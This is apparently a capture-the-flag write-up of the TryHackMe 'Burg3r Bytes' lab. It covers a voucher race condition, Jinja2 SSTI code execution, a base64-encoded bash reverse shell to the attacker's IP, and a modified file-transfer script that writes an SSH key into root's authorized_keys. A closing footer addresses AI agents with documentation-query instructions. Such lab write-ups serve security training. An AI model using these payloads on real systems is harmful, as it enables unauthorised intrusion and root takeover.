# TryHack3M: Burg3r Bytes

{% embed url="<https://tryhackme.com/r/room/burg3rbytes>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon&#x20;

We start with a Nmap scan and find only two open ports. On port 22 we are dealing with SSH and on port 80 with a web server.

<figure><img src="/files/n07PPnKAeKRMUP0gvsQ4" alt=""><figcaption></figcaption></figure>

We can find out more with a service and a default script scan. We are dealing with a `Werkzeug/3.0.2 Python/3.8.10` server. Mostly associated with Flask and the tool debug console.

```bash
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/TryHack3M/burger]
└─$ nmap -sC -sV -p 22,80 burger.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-15 16:58 EDT
Nmap scan report for burger.thm (10.10.187.227)
Host is up (0.037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 82:d5:c0:de:b4:f5:4b:fc:92:00:21:86:24:a3:3d:a2 (RSA)
|   256 f4:36:a3:f5:aa:95:2b:35:1f:0e:58:cb:fa:57:df:bb (ECDSA)
|_  256 fd:f9:f0:61:0c:29:19:ec:58:f6:46:45:27:d7:b1:35 (ED25519)
80/tcp open  http    Werkzeug/3.0.2 Python/3.8.10
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Mon, 15 Apr 2024 20:59:00 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 12703
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no">
|     <title>Burg3rByte</title>
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/stylesheet.css">
|     </head>
|     <body>
|     <nav class="navbar navbar-light navbar-expand-md py-3">
|     <div class="container"><a class="navbar-brand d-flex align-items-center" href="#"><span style="padding-right: 0px;">Burg3rByte</span></a><button data-toggle="collapse" class="navbar-toggler" data-target="#navcol-4"><span class="sr-only">Toggle navigation</span><span class="navbar-toggler-icon"></span></button>
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Mon, 15 Apr 2024 20:59:00 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: HEAD, GET, OPTIONS
|     Content-Length: 0
|     Connection: close
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-title: Burg3rByte
```

The Gobuster scan gives us the Console Directory in addition to the directories of the checkout system. At first glance, this appears to be the entry point into the system.

<figure><img src="/files/SjHF87GQyB1TkaZ9q7YQ" alt=""><figcaption></figcaption></figure>

We visit the console first and see that it is secured with a PIN. This can be reconstructed using an exploit on HackTricks, but it requires private bits. Unfortunately, we can only access these if an LFI or SQLI (with file inclusion capabilities) vulnerability is revealed somewhere . This is where the most time testing all the parameters was spent. OWASP ZAP also gave some false positives towards SQLI. But nothing led to success.

<figure><img src="/files/b5aSszHxdMrkIT8n9w4s" alt=""><figcaption></figcaption></figure>

Further explanations can be found in Hacktricks for the Pin Exploit tool. A showacase of theWerkezug Pin Exploit can be found under the following link: `https://0xb0b.gitbook.io/writeups/tryhackme/2023/advent-of-cyber-23-side-quest/the-bandit-surfer#what-is-the-user-flag`

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug#werkzeug-console-pin-exploit>" %}

Let's go ahead and visit the page. Here we have some items to choose from with exorbitant prices. We can pay for none of the items with our credit. But the room description mentions the three millionth visitor who gets everything for free. And they're talking about a voucher.

<figure><img src="/files/BJgj8N99uB5oEaKYZNqo" alt=""><figcaption></figcaption></figure>

We can add items to the basket.

<figure><img src="/files/iRdEKvGvrNEy51Kh1S5q" alt=""><figcaption></figcaption></figure>

And enter our name and a voucher code at checkout. If we want to place our order, we are told that we do not have enough credit. Too bad. A lot of time has been lost here; vouchers were tried first with the item names from the menu.

<figure><img src="/files/LTndThWH7iETC6Ugxz7S" alt=""><figcaption></figcaption></figure>

## Initial Access

However, it turns out that it is not the item names from the menu that could represent a voucher, but the item names shown in the basket. We receive a 50% voucher with the code `TRYHACK3M`.

Nevertheless, we still can't buy anything with it. We need at least a 100% voucher. If we take a closer look at the applied voucher field, we see that it looks like an array. Perhaps a voucher can be redeemed several times. Several attempts at passing different parameters were unsuccessful. But it is noticeable that loading the voucher takes some time.

<figure><img src="/files/o1cYusXm8NQXIzVYF5BU" alt=""><figcaption></figcaption></figure>

So we open a second browser and send two vouchers at the same time. And lo and behold, our voucher is counted twice. We have a `100%` voucher and are taken to a thank-you page on which our name is reflected.

On the Thank-you page, we have control over the reflected name via the name parameter of the GET reqeust. Alternatively, we can now check out again to test our payloads.

<figure><img src="/files/cfSD0JXPuSMWqQnGK9J8" alt=""><figcaption></figcaption></figure>

Quickly tried a couple of payloads like XSS and SSTI, and we have a hit with SSTI; `{{7*7}}` is evaluated to `49`. Nice. Here we have our entry point for a reverse shell. We don't need the Werkzeug console at all.

<figure><img src="/files/ohZB5Mwto5LNxYujVCfS" alt=""><figcaption></figcaption></figure>

We use a very good resource from Ingo Kleiber; I recommend studying it carefully if you have not had much experience with SSTIs.

{% embed url="<https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/>" %}

We run the OS command `id` with the following payload, and we are the `root` user. Interesting.

```python
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
```

<figure><img src="/files/DaVfNbTsi7AAqIo7zYEp" alt=""><figcaption></figcaption></figure>

We are preparing a reverse shell. Obtained from `revshells.com`. When trying to get a shell, we noticed that many common binaries do not exist, and we are `root` directly. In `/` we find a `.dockerenv` file, this will probably be a Docker container.

<figure><img src="/files/39t4oUxlRBJQuJAhffY3" alt=""><figcaption></figcaption></figure>

Using this simple reverse shell command, we get a connection back to our listener on port `4445`.

```bash
{{request.application.__globals__.__builtins__.__import__('os').popen('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjguMjExLjEvNDQ0NSAwPiYxCg== | base64 -d | bash').read()}}
```

We also upgrade our shell.

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

In the spawned directory `/app`, we find the first flag.

<figure><img src="/files/2C4l94a4bMtUfh8HYekm" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

We use linpeas to simplify enumeration. But we have no direct way to get the script from our attack box to the target using `curl` or `nc`, for example.

<figure><img src="/files/HvW4WClVCXg9Ft6TAaJm" alt=""><figcaption></figcaption></figure>

Instead, we can convert the script to base64 using CyberChef and paste it to the machine via the interactive reverse shell. Below is the shortened command, which I find can be very helpful in some situations.

```bash
echo <base64 of linpeas> | base64 -d | tee linpeas.sh

chmod +x linpeas
```

We see a very conspicuous cronjob of `/app/cron/client_py.py` with the specification of dockergateway `172.17.0.1` on port `69`.

<figure><img src="/files/EXTACx4vEwQ3PUMXYkN9" alt=""><figcaption></figcaption></figure>

When analyzing the source code and executing the file, we see that we can download the `site.db` file. Possibly from the host. The first idea was to get the flag via `/root/flag.txt`, `/root/root.txt`, or other files like`/root/.ssh/id_rsa/` or `/etc/passwd` by editing a copy of the script, but this did not work.

<figure><img src="/files/M5tQF7gW9uJFedaUXU7l" alt=""><figcaption></figcaption></figure>

Below is the `client_py.py` script, which implements a secure file transfer protocol using RSA encryption, signatures, and socket programming. It handles reading and writing files to a server, encrypting and decrypting data, and managing communication errors. The program utilizes PKCS1\_OAEP for encryption and decryption and PSS with SHA256 for digital signatures, ensuring secure data transfer operations over a network.

{% code title="client\_py.py" lineNumbers="true" %}

```python
import sys
import socket
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Signature import pss
from Crypto.Hash import SHA256
import binascii
import base64

MAX_SIZE = 200

opcodes = {
    'read': 1,
    'write': 2,
    'data': 3,
    'ack': 4,
    'error': 5
}

mode_strings = ['netascii', 'octet', 'mail']

with open("client.key", "rb") as f:
    data = f.read()
    privkey = RSA.import_key(data)

with open("client.crt", "rb") as f:
    data = f.read()
    pubkey = RSA.import_key(data)

try:
    with open("server.crt", "rb") as f:
        data = f.read()
        server_pubkey = RSA.import_key(data)
except:
    server_pubkey = False

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(3.0)
server_address = (sys.argv[1], int(sys.argv[2]))

def encrypt(s, pubkey):
    cipher = PKCS1_OAEP.new(pubkey)
    return cipher.encrypt(s)

def decrypt(s, privkey):
    cipher = PKCS1_OAEP.new(privkey)
    return cipher.decrypt(s)

def send_rrq(filename, mode, signature, server):
    rrq = bytearray()
    rrq.append(0)
    rrq.append(opcodes['read'])
    rrq += bytearray(filename)
    rrq.append(0)
    rrq += bytearray(mode)
    rrq.append(0)
    rrq += bytearray(signature)
    rrq.append(0)
    sock.sendto(rrq, server)
    return True

def send_wrq(filename, mode, server):
    wrq = bytearray()
    wrq.append(0)
    wrq.append(opcodes['write'])
    wrq += bytearray(filename)
    wrq.append(0)
    wrq += bytearray(mode)
    wrq.append(0)
    sock.sendto(wrq, server)
    return True

def send_ack(block_number, server):
    if len(block_number) != 2:
        print('Error: Block number must be 2 bytes long.')
        return False
    ack = bytearray()
    ack.append(0)
    ack.append(opcodes['ack'])
    ack += bytearray(block_number)
    sock.sendto(ack, server)
    return True

def send_error(server, code, msg):
    err = bytearray()
    err.append(0)
    err.append(opcodes['error'])
    err.append(0)
    err.append(code & 0xff)
    pkt += bytearray(msg + b'\0')
    sock.sendto(pkt, server)

def send_data(server, block_num, block):
    if len(block_num) != 2:
        print('Error: Block number must be 2 bytes long.')
        return False
    pkt = bytearray()
    pkt.append(0)
    pkt.append(opcodes['data'])
    pkt += bytearray(block_num)
    pkt += bytearray(block)
    sock.sendto(pkt, server)

def get_file(filename, mode):
    h = SHA256.new(filename)
    signature = base64.b64encode(pss.new(privkey).sign(h))

    send_rrq(filename, mode, signature, server_address)
    
    file = open(filename, "wb")

    while True:
        data, server = sock.recvfrom(MAX_SIZE * 3)

        if data[1] == opcodes['error']:
            error_code = int.from_bytes(data[2:4], byteorder='big')
            print(data[4:])
            break
        send_ack(data[2:4], server)
        content = data[4:]
        content = base64.b64decode(content)
        content = decrypt(content, privkey)
        file.write(content)
        if len(content) < MAX_SIZE:
            print("file received!")
            break

def put_file(filename, mode):
    if not server_pubkey:
        print("Error: Server pubkey not configured. You won't be able to PUT")
        return

    try:
        file = open(filename, "rb")
        fdata = file.read()
        total_len = len(fdata)
    except:
        print("Error: File doesn't exist")
        return False

    send_wrq(filename, mode, server_address)
    data, server = sock.recvfrom(MAX_SIZE * 3)
    
    if data != b'\x00\x04\x00\x00': # ack 0
        print("Error: Server didn't respond with ACK to WRQ")
        return False

    block_num = 1
    while len(fdata) > 0:
        b_block_num = block_num.to_bytes(2, 'big')
        block = fdata[:MAX_SIZE]
        block = encrypt(block, server_pubkey)
        block = base64.b64encode(block)
        fdata = fdata[MAX_SIZE:]
        send_data(server, b_block_num, block)
        data, server = sock.recvfrom(MAX_SIZE * 3)
        
        if data != b'\x00\x04' + b_block_num:
            print("Error: Server sent unexpected response")
            return False

        block_num += 1

    if total_len % MAX_SIZE == 0:
        b_block_num = block_num.to_bytes(2, 'big')
        send_data(server, b_block_num, b"")
        data, server = sock.recvfrom(MAX_SIZE * 3)
        
        if data != b'\x00\x04' + b_block_num:
            print("Error: Server sent unexpected response")
            return False

    print("File sent successfully")
    return True

def main():
    filename = b'site.db'
    mode = b'netascii'

    get_file(filename, mode)
    exit(0)

if __name__ == '__main__':
    main()
```

{% endcode %}

Here is an example of trying to customize the copy of `client_py.py` to remove the `/etc/passwd`. The customization was first made using `sed`.

```
cp client_py.py copy.py
```

```
sed -i "s|filename = b'site.db'|filename = b'/etc/passwd'|g" copy.py
```

Unfortunately, copying files did not help. But the script reveals even more functionalities; we can also bring files onto the system. This leads to the idea of placing our own public key in `/root/.ssh/authorized_keys` in order to log onto the system with a specially generated ssh key via SSH.

However, to be able to use the function, we need the `server.crt`. Unfortunately, we only have client.crt in the `/app/cron` folder.

```python
...
try:
    with open("server.crt", "rb") as f:
        data = f.read()
        server_pubkey = RSA.import_key(data)
except:
    server_pubkey = False
...
```

```python
...
def put_file(filename, mode):
    if not server_pubkey:
        print("Error: Server pubkey not configured. You won't be able to PUT")
        return

    try:
        file = open(filename, "rb")
        fdata = file.read()
        total_len = len(fdata)
    except:
        print("Error: File doesn't exist")
        return Fals
...
```

So, let's make a copy again of `client_py.py` to reset our changes and replace `site.db` with `server.cert`. Maybe we are able to retrieve it right away.

```bash
cp client_py.py copy.py
```

```bash
sed -i "s|filename = b'site.db'|filename = b'server.crt'|g" copy.py
```

```bash
python3 copy.py 172.17.0.1 69
```

After we have executed the script, we have the `server.crt` in the folder and now are able to transfer files to the host system.

<figure><img src="/files/jug00P2QqaUILvIMXWN0" alt=""><figcaption></figcaption></figure>

So let's generate our key pair.

<figure><img src="/files/2dhMSsdwQ90D52nbpg88" alt=""><figcaption></figcaption></figure>

And paste it to the target system.

<figure><img src="/files/z9GJfIC4E5YH3F7Du9EK" alt=""><figcaption></figcaption></figure>

```bash
echo <pubkey> > authorized_keys
```

Again, we reset the `copy.py` file and replace the function and filename in the `main` function.

```bash
cp client_py.py copy.py
```

```
sed -i '/def main()/,/exit(0)/s/get_file(filename, mode)/put_file(filename, mode)/' copy.py
```

```bash
sed -i "s|filename = b'site.db'|filename = b'authorized_keys'|g" copy.py
```

After executing the scrip we see that we successfully transfered the file. But wait. It is not there were it is supposed to be. We still cannot access the system via SSH. We will probably have to modify the script further

```bash
python3 copy.py 172.17.0.1 69
```

<figure><img src="/files/ipyCCDoV4y31PYcqrPmC" alt=""><figcaption></figcaption></figure>

On closer inspection, the wrq function is responsible for writing the file name on the server. The exact path can certainly be specified here. In the `put_file` function, we extend the file name by `b'/root/.ssh/`, which is passed to `wrq`. We also change the file name to `authorized_keys`. Just as it is in our folder and call `put_file` in main instead of `get_file`.

<figure><img src="/files/Nx2FytCiwdlWGDaalzpt" alt=""><figcaption></figcaption></figure>

Below is the adapted script:

{% code title="copy.py" lineNumbers="true" %}

```python
import sys
import socket
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Signature import pss
from Crypto.Hash import SHA256
import binascii
import base64

MAX_SIZE = 200

opcodes = {
    'read': 1,
    'write': 2,
    'data': 3,
    'ack': 4,
    'error': 5
}

mode_strings = ['netascii', 'octet', 'mail']

with open("client.key", "rb") as f:
    data = f.read()
    privkey = RSA.import_key(data)

with open("client.crt", "rb") as f:
    data = f.read()
    pubkey = RSA.import_key(data)

try:
    with open("server.crt", "rb") as f:
        data = f.read()
        server_pubkey = RSA.import_key(data)
except:
    server_pubkey = False

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(3.0)
server_address = (sys.argv[1], int(sys.argv[2]))

def encrypt(s, pubkey):
    cipher = PKCS1_OAEP.new(pubkey)
    return cipher.encrypt(s)

def decrypt(s, privkey):
    cipher = PKCS1_OAEP.new(privkey)
    return cipher.decrypt(s)

def send_rrq(filename, mode, signature, server):
    rrq = bytearray()
    rrq.append(0)
    rrq.append(opcodes['read'])
    rrq += bytearray(filename)
    rrq.append(0)
    rrq += bytearray(mode)
    rrq.append(0)
    rrq += bytearray(signature)
    rrq.append(0)
    sock.sendto(rrq, server)
    return True

def send_wrq(filename, mode, server):
    wrq = bytearray()
    wrq.append(0)
    wrq.append(opcodes['write'])
    wrq += bytearray(filename)
    wrq.append(0)
    wrq += bytearray(mode)
    wrq.append(0)
    print(wrq)
    sock.sendto(wrq, server)
    return True

def send_ack(block_number, server):
    if len(block_number) != 2:
        print('Error: Block number must be 2 bytes long.')
        return False
    ack = bytearray()
    ack.append(0)
    ack.append(opcodes['ack'])
    ack += bytearray(block_number)
    sock.sendto(ack, server)
    return True

def send_error(server, code, msg):
    err = bytearray()
    err.append(0)
    err.append(opcodes['error'])
    err.append(0)
    err.append(code & 0xff)
    pkt += bytearray(msg + b'\0')
    sock.sendto(pkt, server)

def send_data(server, block_num, block):
    if len(block_num) != 2:
        print('Error: Block number must be 2 bytes long.')
        return False
    pkt = bytearray()
    pkt.append(0)
    pkt.append(opcodes['data'])
    pkt += bytearray(block_num)
    pkt += bytearray(block)
    sock.sendto(pkt, server)

def get_file(filename, mode):
    h = SHA256.new(filename)
    signature = base64.b64encode(pss.new(privkey).sign(h))

    send_rrq(filename, mode, signature, server_address)
    
    file = open(filename, "wb")

    while True:
        data, server = sock.recvfrom(MAX_SIZE * 3)

        if data[1] == opcodes['error']:
            error_code = int.from_bytes(data[2:4], byteorder='big')
            print(data[4:])
            break
        send_ack(data[2:4], server)
        content = data[4:]
        content = base64.b64decode(content)
        content = decrypt(content, privkey)
        file.write(content)
        if len(content) < MAX_SIZE:
            print("file received!")
            break

def put_file(filename, mode):
    if not server_pubkey:
        print("Error: Server pubkey not configured. You won't be able to PUT")
        return

    try:
        file = open(filename, "rb")
        fdata = file.read()
        total_len = len(fdata)
    except:
        print("Error: File doesn't exist")
        return False
    filename = b'/root/.ssh/'+filename
    send_wrq(filename, mode, server_address)
    data, server = sock.recvfrom(MAX_SIZE * 3)
    
    if data != b'\x00\x04\x00\x00': # ack 0
        print("Error: Server didn't respond with ACK to WRQ")
        return False

    block_num = 1
    while len(fdata) > 0:
        b_block_num = block_num.to_bytes(2, 'big')
        block = fdata[:MAX_SIZE]
        block = encrypt(block, server_pubkey)
        block = base64.b64encode(block)
        fdata = fdata[MAX_SIZE:]
        send_data(server, b_block_num, block)
        data, server = sock.recvfrom(MAX_SIZE * 3)
        
        if data != b'\x00\x04' + b_block_num:
            print("Error: Server sent unexpected response")
            return False

        block_num += 1

    if total_len % MAX_SIZE == 0:
        b_block_num = block_num.to_bytes(2, 'big')
        send_data(server, b_block_num, b"")
        data, server = sock.recvfrom(MAX_SIZE * 3)
        
        if data != b'\x00\x04' + b_block_num:
            print("Error: Server sent unexpected response")
            return False

    print("File sent successfully")
    return True

def main():
    filename = b'authorized_keys'
    mode = b'netascii'

    put_file(filename, mode)
    exit(0)

if __name__ == '__main__':
    main()
```

{% endcode %}

Now we have to get the whole script onto the system, which we do as in the Linpeas example. Convert the script to `base64` using CyberChef, decode it on the system, and add it to the file using `tee`.

<figure><img src="/files/Vwhbcalu4C20zbXI7sLB" alt=""><figcaption></figcaption></figure>

```bash
echo <base64 of copy.py> | base64 -d | tee copy.py
```

After executing the command successfully, the script should be printed to the console.

<figure><img src="/files/wZW37dOp6iKjeDgcKgL6" alt=""><figcaption></figcaption></figure>

Next, we execute the script...

```bash
python3 copy.py 172.17.0.1
```

<figure><img src="/files/N8TNJNsaqBwGhpEu3ueO" alt=""><figcaption></figcaption></figure>

...And then we are able to connect as `root` to the host via SSH. You might need to add the correct permissions to the private key via `cmod 600 id_rsa`. We find the root flag in the home directory of `root`. It does not have the usual name.

<figure><img src="/files/HUZpSvEAx20qbaiTxq35" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/tryhack3m/tryhack3m-burg3r-bytes.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
